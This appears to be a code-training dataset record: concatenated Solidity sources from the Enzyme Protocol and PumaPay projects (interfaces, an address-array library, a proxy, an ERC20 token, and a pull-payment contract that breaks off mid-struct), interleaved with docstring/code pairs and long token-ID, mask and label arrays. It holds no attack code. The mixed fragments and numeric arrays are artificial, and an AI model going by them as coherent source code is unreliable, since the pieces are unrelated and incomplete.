For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./IGsnTypes.sol";
/// @title IGsnRelayHub Interface
/// @author Enzyme Council <[email protected]>
interface IGsnRelayHub {
function balanceOf(address target) external view returns (uint256);
function calculateCharge(uint256 gasUsed, IGsnTypes.RelayData calldata relayData)
external
view
returns (uint256);
function depositFor(address target) external payable;
function relayCall(
uint256 maxAcceptanceBudget,
IGsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 externalGasLimit
) external returns (bool paymasterAccepted, bytes memory returnValue);
function withdraw(uint256 amount, address payable dest) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
pragma experimental ABIEncoderV2;
import "./IGsnForwarder.sol";
/// @title IGsnTypes Interface
/// @author Enzyme Council <[email protected]>
interface IGsnTypes {
struct RelayData {
uint256 gasPrice;
uint256 pctRelayFee;
uint256 baseRelayFee;
address relayWorker;
address paymaster;
address forwarder;
bytes paymasterData;
uint256 clientId;
}
struct RelayRequest {
IGsnForwarder.ForwardRequest request;
RelayData relayData;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title WETH Interface
/// @author Enzyme Council <[email protected]>
interface IWETH {
function deposit() external payable;
function withdraw(uint256) external;
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title AddressArray Library
/// @author Enzyme Council <[email protected]>
/// @notice A library to extend the address array data type
library AddressArrayLib {
/////////////
// STORAGE //
/////////////
/// @dev Helper to remove an item from a storage array
function removeStorageItem(address[] storage _self, address _itemToRemove)
internal
returns (bool removed_)
{
uint256 itemCount = _self.length;
for (uint256 i; i < itemCount; i++) {
if (_self[i] == _itemToRemove) {
if (i < itemCount - 1) {
_self[i] = _self[itemCount - 1];
}
_self.pop();
removed_ = true;
break;
}
}
return removed_;
}
////////////
// MEMORY //
////////////
/// @dev Helper to add an item to an array. Does not assert uniqueness of the new item.
function addItem(address[] memory _self, address _itemToAdd)
internal
pure
returns (address[] memory nextArray_)
{
nextArray_ = new address[](_self.length + 1);
for (uint256 i; i < _self.length; i++) {
nextArray_[i] = _self[i];
}
nextArray_[_self.length] = _itemToAdd;
return nextArray_;
}
/// @dev Helper to add an item to an array, only if it is not already in the array.
function addUniqueItem(address[] memory _self, address _itemToAdd)
internal
pure
returns (address[] memory nextArray_)
{
if (contains(_self, _itemToAdd)) {
return _self;
}
return addItem(_self, _itemToAdd);
}
/// @dev Helper to verify if an array contains a particular value
function contains(address[] memory _self, address _target)
internal
pure
returns (bool doesContain_)
{
for (uint256 i; i < _self.length; i++) {
if (_target == _self[i]) {
return true;
}
}
return false;
}
/// @dev Helper to merge the unique items of a second array.
/// Does not consider uniqueness of either array, only relative uniqueness.
/// Preserves ordering.
function mergeArray(address[] memory _self, address[] memory _arrayToMerge)
internal
pure
returns (address[] memory nextArray_)
{
uint256 newUniqueItemCount;
for (uint256 i; i < _arrayToMerge.length; i++) {
if (!contains(_self, _arrayToMerge[i])) {
newUniqueItemCount++;
}
}
if (newUniqueItemCount == 0) {
return _self;
}
nextArray_ = new address[](_self.length + newUniqueItemCount);
for (uint256 i; i < _self.length; i++) {
nextArray_[i] = _self[i];
}
uint256 nextArrayIndex = _self.length;
for (uint256 i; i < _arrayToMerge.length; i++) {
if (!contains(_self, _arrayToMerge[i])) {
nextArray_[nextArrayIndex] = _arrayToMerge[i];
nextArrayIndex++;
}
}
return nextArray_;
}
/// @dev Helper to verify if array is a set of unique values.
/// Does not assert length > 0.
function isUniqueSet(address[] memory _self) internal pure returns (bool isUnique_) {
if (_self.length <= 1) {
return true;
}
uint256 arrayLength = _self.length;
for (uint256 i; i < arrayLength; i++) {
for (uint256 j = i + 1; j < arrayLength; j++) {
if (_self[i] == _self[j]) {
return false;
}
}
}
return true;
}
/// @dev Helper to remove items from an array. Removes all matching occurrences of each item.
/// Does not assert uniqueness of either array.
function removeItems(address[] memory _self, address[] memory _itemsToRemove)
internal
pure
returns (address[] memory nextArray_)
{
if (_itemsToRemove.length == 0) {
return _self;
}
bool[] memory indexesToRemove = new bool[](_self.length);
uint256 remainingItemsCount = _self.length;
for (uint256 i; i < _self.length; i++) {
if (contains(_itemsToRemove, _self[i])) {
indexesToRemove[i] = true;
remainingItemsCount--;
}
}
if (remainingItemsCount == _self.length) {
nextArray_ = _self;
} else if (remainingItemsCount > 0) {
nextArray_ = new address[](remainingItemsCount);
uint256 nextArrayIndex;
for (uint256 i; i < _self.length; i++) {
if (!indexesToRemove[i]) {
nextArray_[nextArrayIndex] = _self[i];
nextArrayIndex++;
}
}
}
return nextArray_;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
import "../core/fund-deployer/IFundDeployer.sol";
/// @title FundDeployerOwnerMixin Contract
/// @author Enzyme Council <[email protected]>
/// @notice A mixin contract that defers ownership to the owner of FundDeployer
abstract contract FundDeployerOwnerMixin {
address internal immutable FUND_DEPLOYER;
modifier onlyFundDeployerOwner() {
require(
msg.sender == getOwner(),
"onlyFundDeployerOwner: Only the FundDeployer owner can call this function"
);
_;
}
constructor(address _fundDeployer) public {
FUND_DEPLOYER = _fundDeployer;
}
/// @notice Gets the owner of this contract
/// @return owner_ The owner
/// @dev Ownership is deferred to the owner of the FundDeployer contract
function getOwner() public view returns (address owner_) {
return IFundDeployer(FUND_DEPLOYER).getOwner();
}
///////////////////
// STATE GETTERS //
///////////////////
/// @notice Gets the `FUND_DEPLOYER` variable
/// @return fundDeployer_ The `FUND_DEPLOYER` variable value
function getFundDeployer() public view returns (address fundDeployer_) {
return FUND_DEPLOYER;
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title NonUpgradableProxy Contract
/// @author Enzyme Council <[email protected]>
/// @notice A proxy contract for use with non-upgradable libs
/// @dev The recommended constructor-fallback pattern of a proxy in EIP-1822, updated for solc 0.6.12,
/// and using an immutable lib value to save on gas (since not upgradable).
/// The EIP-1967 storage slot for the lib is still assigned,
/// for ease of referring to UIs that understand the pattern, i.e., Etherscan.
abstract contract NonUpgradableProxy {
address private immutable CONTRACT_LOGIC;
constructor(bytes memory _constructData, address _contractLogic) public {
CONTRACT_LOGIC = _contractLogic;
assembly {
// EIP-1967 slot: `bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1)`
sstore(
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc,
_contractLogic
)
}
(bool success, bytes memory returnData) = _contractLogic.delegatecall(_constructData);
require(success, string(returnData));
}
// solhint-disable-next-line no-complex-fallback
fallback() external payable {
address contractLogic = CONTRACT_LOGIC;
assembly {
calldatacopy(0x0, 0x0, calldatasize())
let success := delegatecall(
sub(gas(), 10000),
contractLogic,
0x0,
calldatasize(),
0,
0
)
let retSz := returndatasize()
returndatacopy(0, 0, retSz)
switch success
case 0 {
revert(0, retSz)
}
default {
return(0, retSz)
}
}
}
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
pragma solidity 0.6.12;
/// @title IBeacon interface
/// @author Enzyme Council <[email protected]>
interface IBeacon {
function getCanonicalLib() external view returns (address);
}
// SPDX-License-Identifier: GPL-3.0
/*
This file is part of the Enzyme Protocol.
(c) Enzyme Council <[email protected]>
For the full license information, please view the LICENSE
file that was distributed with this source code.
*/
import "./IBeacon.sol";
pragma solidity 0.6.12;
/// @title IBeaconProxyFactory interface
/// @author Enzyme Council <[email protected]>
interface IBeaconProxyFactory is IBeacon {
function deployProxy(bytes memory _constructData) external returns (address proxy_);
function setCanonicalLib(address _canonicalLib) external;
}
|
@dev Helper to get the ComptrollerProxy for a given VaultProxy
|
function __getComptrollerForVault(address _vaultProxy)
private
view
returns (address comptrollerProxy_)
{
return IVault(_vaultProxy).getAccessor();
}
| 355,546 |
[
1,
2276,
358,
336,
326,
1286,
337,
1539,
3886,
364,
279,
864,
17329,
3886,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
1001,
588,
799,
337,
1539,
1290,
12003,
12,
2867,
389,
26983,
3886,
13,
203,
3639,
3238,
203,
3639,
1476,
203,
3639,
1135,
261,
2867,
532,
337,
1539,
3886,
67,
13,
203,
565,
288,
203,
3639,
327,
467,
12003,
24899,
26983,
3886,
2934,
588,
8235,
5621,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/4/0x310060e9EC03EaBedfbb3807c815a9a601a49f22/sources/contracts/JBController.sol
|
Set the tracker as the total supply.
|
_processedTokenTrackerOf[_projectId] = int256(tokenStore.totalSupplyOf(_projectId));
| 12,272,689 |
[
1,
694,
326,
9745,
487,
326,
2078,
14467,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
389,
11005,
1345,
8135,
951,
63,
67,
4406,
548,
65,
273,
509,
5034,
12,
2316,
2257,
18,
4963,
3088,
1283,
951,
24899,
4406,
548,
10019,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol
pragma solidity 0.5.0;
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: openzeppelin-solidity/contracts/math/SafeMath.sol
pragma solidity 0.5.0;
/**
* @title SafeMath
* @dev Unsigned math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two unsigned integers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two unsigned integers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol
pragma solidity 0.5.0;
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md
* Originally based on code by FirstBlood:
* https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*
* This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for
* all accounts just by listening to said events. Note that this isn't required by the specification, and other
* compliant implementations may not do it.
*/
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
/**
* @dev Gets the balance of the specified address.
* @param owner The address to query the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param owner address The address which owns the funds.
* @param spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
/**
* @dev Transfer token for a specified address
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param spender The address which will spend the funds.
* @param value The amount of tokens to be spent.
*/
function approve(address spender, uint256 value) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
/**
* @dev Transfer tokens from one address to another.
* Note that while this function emits an Approval event, this is not required as per the specification,
* and other compliant implementations may not emit the event.
* @param from address The address which you want to send tokens from
* @param to address The address which you want to transfer to
* @param value uint256 the amount of tokens to be transferred
*/
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value);
_transfer(from, to, value);
emit Approval(from, msg.sender, _allowed[from][msg.sender]);
return true;
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param addedValue The amount of tokens to increase the allowance by.
*/
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
* approve should be called when allowed_[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* Emits an Approval event.
* @param spender The address which will spend the funds.
* @param subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
require(spender != address(0));
_allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, _allowed[msg.sender][spender]);
return true;
}
/**
* @dev Transfer token for a specified addresses
* @param from The address to transfer from.
* @param to The address to transfer to.
* @param value The amount to be transferred.
*/
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
/**
* @dev Internal function that mints an amount of the token and assigns it to
* an account. This encapsulates the modification of balances such that the
* proper events are emitted.
* @param account The account that will receive the created tokens.
* @param value The amount that will be created.
*/
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* Emits an Approval event (reflecting the reduced allowance).
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value);
_burn(account, value);
emit Approval(account, msg.sender, _allowed[account][msg.sender]);
}
}
// File: openzeppelin-solidity/contracts/access/Roles.sol
pragma solidity 0.5.0;
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an account access to this role
*/
function add(Role storage role, address account) internal {
require(account != address(0));
require(!has(role, account));
role.bearer[account] = true;
}
/**
* @dev remove an account's access to this role
*/
function remove(Role storage role, address account) internal {
require(account != address(0));
require(has(role, account));
role.bearer[account] = false;
}
/**
* @dev check if an account has this role
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0));
return role.bearer[account];
}
}
// File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol
pragma solidity 0.5.0;
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender));
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol
pragma solidity 0.5.0;
/**
* @title ERC20Mintable
* @dev ERC20 minting logic
*/
contract ERC20Mintable is ERC20, MinterRole {
/**
* @dev Function to mint tokens
* @param to The address that will receive the minted tokens.
* @param value The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
// File: contracts/PumaPayToken.sol
pragma solidity 0.5.0;
/// PumaPayToken inherits from MintableToken, which in turn inherits from StandardToken.
/// Super is used to bypass the original function signature and include the whenNotMinting modifier.
contract PumaPayToken is ERC20Mintable {
string public name = "PumaPay";
string public symbol = "PMA";
uint8 public decimals = 18;
constructor() public {
}
/// @dev transfer token for a specified address
/// @param _to address The address to transfer to.
/// @param _value uint256 The amount to be transferred.
/// @return success bool Calling super.transfer and returns true if successful.
function transfer(address _to, uint256 _value) public returns (bool) {
return super.transfer(_to, _value);
}
/// @dev Transfer tokens from one address to another.
/// @param _from address The address which you want to send tokens from.
/// @param _to address The address which you want to transfer to.
/// @param _value uint256 the amount of tokens to be transferred.
/// @return success bool Calling super.transferFrom and returns true if successful.
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
return super.transferFrom(_from, _to, _value);
}
}
// File: contracts/ownership/PayableOwnable.sol
pragma solidity 0.5.0;
/**
* @title PayableOwnable
* @dev The PayableOwnable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
* PayableOwnable is extended from open-zeppelin Ownable smart contract, with the difference of making the owner
* a payable address.
*/
contract PayableOwnable {
address payable private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
/**
* @return the address of the owner.
*/
function owner() public view returns (address payable) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner());
_;
}
/**
* @return true if `msg.sender` is the owner of the contract.
*/
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
* @notice Renouncing to ownership will leave the contract without an owner.
* It will not be possible to call the functions with the `onlyOwner`
* modifier anymore.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address payable newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function _transferOwnership(address payable newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: contracts/PumaPayPullPayment.sol
pragma solidity 0.5.0;
/// @title PumaPay Pull Payment - Contract that facilitates our pull payment protocol
/// @author PumaPay Dev Team - <[email protected]>
contract PumaPayPullPayment is PayableOwnable {
using SafeMath for uint256;
/// ===============================================================================================================
/// Events
/// ===============================================================================================================
event LogExecutorAdded(address executor);
event LogExecutorRemoved(address executor);
event LogSetConversionRate(string currency, uint256 conversionRate);
event LogPaymentRegistered(
address customerAddress,
bytes32 paymentID,
bytes32 businessID,
bytes32 uniqueReferenceID
);
event LogPaymentCancelled(
address customerAddress,
bytes32 paymentID,
bytes32 businessID,
bytes32 uniqueReferenceID
);
event LogPullPaymentExecuted(
address customerAddress,
bytes32 paymentID,
bytes32 businessID,
bytes32 uniqueReferenceID
);
/// ===============================================================================================================
/// Constants
/// ===============================================================================================================
uint256 constant private DECIMAL_FIXER = 10 ** 10; /// 1e^10 - This transforms the Rate from decimals to uint256
uint256 constant private FIAT_TO_CENT_FIXER = 100; /// Fiat currencies have 100 cents in 1 basic monetary unit.
uint256 constant private OVERFLOW_LIMITER_NUMBER = 10 ** 20; /// 1e^20 - Prevent numeric overflows
uint256 constant private ONE_ETHER = 1 ether; /// PumaPay token has 18 decimals - same as one ETHER
uint256 constant private FUNDING_AMOUNT = 1 ether; /// Amount to transfer to owner/executor
uint256 constant private MINIMUM_AMOUNT_OF_ETH_FOR_OPERATORS = 0.15 ether; /// min amount of ETH for owner/executor
/// ===============================================================================================================
/// Members
/// ===============================================================================================================
PumaPayToken public token;
mapping(string => uint256) private conversionRates;
mapping(address => bool) public executors;
mapping(address => mapping(address => PullPayment)) public pullPayments;
struct PullPayment {
bytes32 paymentID; /// ID of the payment
bytes32 businessID; /// ID of the business
bytes32 uniqueReferenceID; /// unique reference ID the business is adding on the pull payment
string currency; /// 3-letter abbr i.e. 'EUR' / 'USD' etc.
uint256 initialPaymentAmountInCents; /// initial payment amount in fiat in cents
uint256 fiatAmountInCents; /// payment amount in fiat in cents
uint256 frequency; /// how often merchant can pull - in seconds
uint256 numberOfPayments; /// amount of pull payments merchant can make
uint256 startTimestamp; /// when subscription starts - in seconds
uint256 nextPaymentTimestamp; /// timestamp of next payment
uint256 lastPaymentTimestamp; /// timestamp of last payment
uint256 cancelTimestamp; /// timestamp the payment was cancelled
